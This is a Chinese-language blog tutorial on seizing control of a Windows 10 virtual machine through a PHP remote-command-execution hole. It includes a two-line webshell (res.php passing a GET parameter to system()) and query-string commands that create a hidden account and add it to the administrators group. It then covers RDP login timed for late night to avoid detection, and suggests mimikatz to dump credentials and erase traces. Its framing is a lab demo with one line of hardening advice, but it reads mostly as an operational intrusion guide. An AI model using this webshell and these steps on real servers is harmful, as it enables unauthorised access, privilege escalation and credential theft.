RCE远程控制Windows服务器——以win10虚拟机为例

怼烎@ 2022-11-27 07:09 301阅读 0赞

### 目录 ###

*   *  RCE简介
     *   *  RCE英文全称
         *  分类
         *  危险函数
         *  Windows系统命令拼接
     *  准备
     *  连接
     *   *  新建账号
         *  提权账号
         *  登录账号
         *  允许远程访问

## RCE简介 ##

### RCE英文全称 ###

remote command/code execute

### 分类 ###

1.  远程命令执行ping  
    应用系统在设计的时候就预备提供给用户一个指定的远程命令操作的接口，常用的用ping命令来检测网络是否连通，分析判定网络故障。比如路由器、防火墙等上面会有一个web界面用来进行ping操作
    
    但是开发者在完成这个功能时，没有做好安全控制，导致攻击者可以从这个接口提交“意料之外”的命令
2.  远程代码执行evel  
    开发者在输入点没有做过滤，或者过滤处理的不完全。导致后台把用户输入的数据当作代码的一部分，拼接到系统命令中去执行了

简单来说，远程命令执行，执行的是命令行语句，比如ipconfig，net start，ping ……

而远程代码执行，执行的是php语句，比如phpinfo();……

### 危险函数 ###

PHP里的危险函数

1、    system
    2、    exec
    3、    shell_exec
    4、    passthru
    5、    popen
    6、    proc_popen
    7     ………………

### Windows系统命令拼接 ###

[Windows系统命令拼接][Windows]

（虽然现在大部分网站都是在linux环境下部署，但是大部分的个人电脑都是windows系统，所以这里以windows为例）

## 准备 ##

首先，审计一下网站代码，是否有上面提到过的危险函数，可以用`Ctrl+F`来查找

这里我用phpstudy搭了一个网站，里面有个res.php文件。

res.php

<?php
    $a=$_GET['12345'];      //这里12345是密码
    system($a);
    ?>

![在这里插入图片描述][20200814095816922.png_pic_center]  
当然，正常网站一个php文件里不可能只有这么两行内容，这里只是为了方便演示，把其他的无关内容都删掉掉了

就算没找到危险函数也没关系，可以看看能不能利用文件上传漏洞，自己上传一个危险文件上去

## 连接 ##

在主机上浏览网页  
192.168.177.134 是ip  
11111/res.php 是路径  
![在这里插入图片描述][20200815164707118.png_pic_center]  
报这个错正常，不影响使用

查看ip

?12345=ipconfig

‘12345’ 就是前面所说的的密码

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center]

查看身份

?12345=whoami

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 1]

administrator ？管理员身份，这就得偷笑了

### 新建账号 ###

新建一个新用户  
`?12345=net user ihszg 123456 /add`

账号是ihszg，密码是123456

![在这里插入图片描述][20200815165229312.png_pic_center]

### 提权账号 ###

将ihszg这个用户提到管理员组（因为当前登录账号是administrator，属于管理员组，所以有资格将其他用户提权到管理员组）  
`?12345=net localgroup administrators ihszg /add`

![在这里插入图片描述][20200815165417852.png_pic_center]

如果当前用户不是管理员的话，成功率就低了

因为除了管理员，默认只有白名单里的普通用户才允被许远程连接，显然，管理员不会将你的的ip地址加入白名单。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 2]

因此建议尽量不要用管理员身份登录电脑（网站），需要用管理员身份运行的场合再临时提权，这样或许能让你的服务器多坚持一秒钟

### 登录账号 ###

`win+r`，再输入`mstsc`，回车，开启远程连接服务

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 3]

输入对方的ip，点击连接  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 4]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 5]  
这里报错，说对方没有开启远程连接  
那就开启虚拟机的远程连接

### 允许远程访问 ###

这步其实在准备工作中就应该做的，因为正常网站都会开启远程连接的，毕竟总不能让运维每次登录服务器都跑去机房

进入虚拟机，控制面板/系统和安全/系统/允许远程访问  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 6]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 7]选择`应用`，`确定`

输入刚刚新建的账号、密码  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 8]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 9]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 10]  
选择——否，现在登录会将正在登录的用户挤下线，引起管理员的警觉，当然要等到三更半夜其他用户都休息的时候再登录。

所以小心你身边的夜猫子，说不定他就在觊觎你电脑里的资源  
![在这里插入图片描述][20200815171309941.png_pic_center]

选择是，登录成功

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 11]

当然，新建新用户不是长久之计，管理员一看到多了个登录的账号，怎么会不起疑心呢

所以这里推荐一个 mimikatz 工具，可以查看windows系统的当前登录过账号和密码。看到账号密码后，就可以删除这个新建的用户，然后利用已有的账号密码登录，具体如何使用mimikatz可以看[这篇文章][Link 1]

[Windows]: https://blog.csdn.net/weixin_45663905/article/details/108026223
[20200814095816922.png_pic_center]: /images/20221124/cb4b8f0a8e4e4d1885a7c8c1cead4c93.png
[20200815164707118.png_pic_center]: /images/20221124/2392c2cd624e4c70a5d76b5af3e92332.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center]: /images/20221124/fd29b1341cde43ddbc26843d0186f1d2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221124/229f5c90daa64a71bed3cace61ccc93d.png
[20200815165229312.png_pic_center]: /images/20221124/1687b3b0a5504c97b38644a4100ae922.png
[20200815165417852.png_pic_center]: /images/20221124/31bc1fd736504a199b9acd99631b75a1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221124/623ea2a8a0bd44dba8005920fa3eac22.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221124/50bc8bff03104f6a9f5f7fac3e96c0f0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221124/50b93f2fb61a49cb9c6d94ddc6bbcf6d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20221124/fa702f4547354c2980f5d4ae7c4434cc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 6]: /images/20221124/ac649e81df144a02906b4e91900bf430.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 7]: /images/20221124/06d5dbc8fd3e4851b4e18d6df9c2e508.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 8]: /images/20221124/397af6c3a4aa4f8b8bcf56ee5fb6f831.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 9]: /images/20221124/34d86a7ba225470b871967ea29b26181.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 10]: /images/20221124/987b644285a44ce282815f47ab8b08e7.png
[20200815171309941.png_pic_center]: /images/20221124/be0f67e0f28d4c1fb2e45d63e4962069.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 11]: /images/20221124/41e6a1986b1c46cba12dc7244cb439dd.png
[Link 1]: https://blog.csdn.net/weixin_45663905/article/details/108013149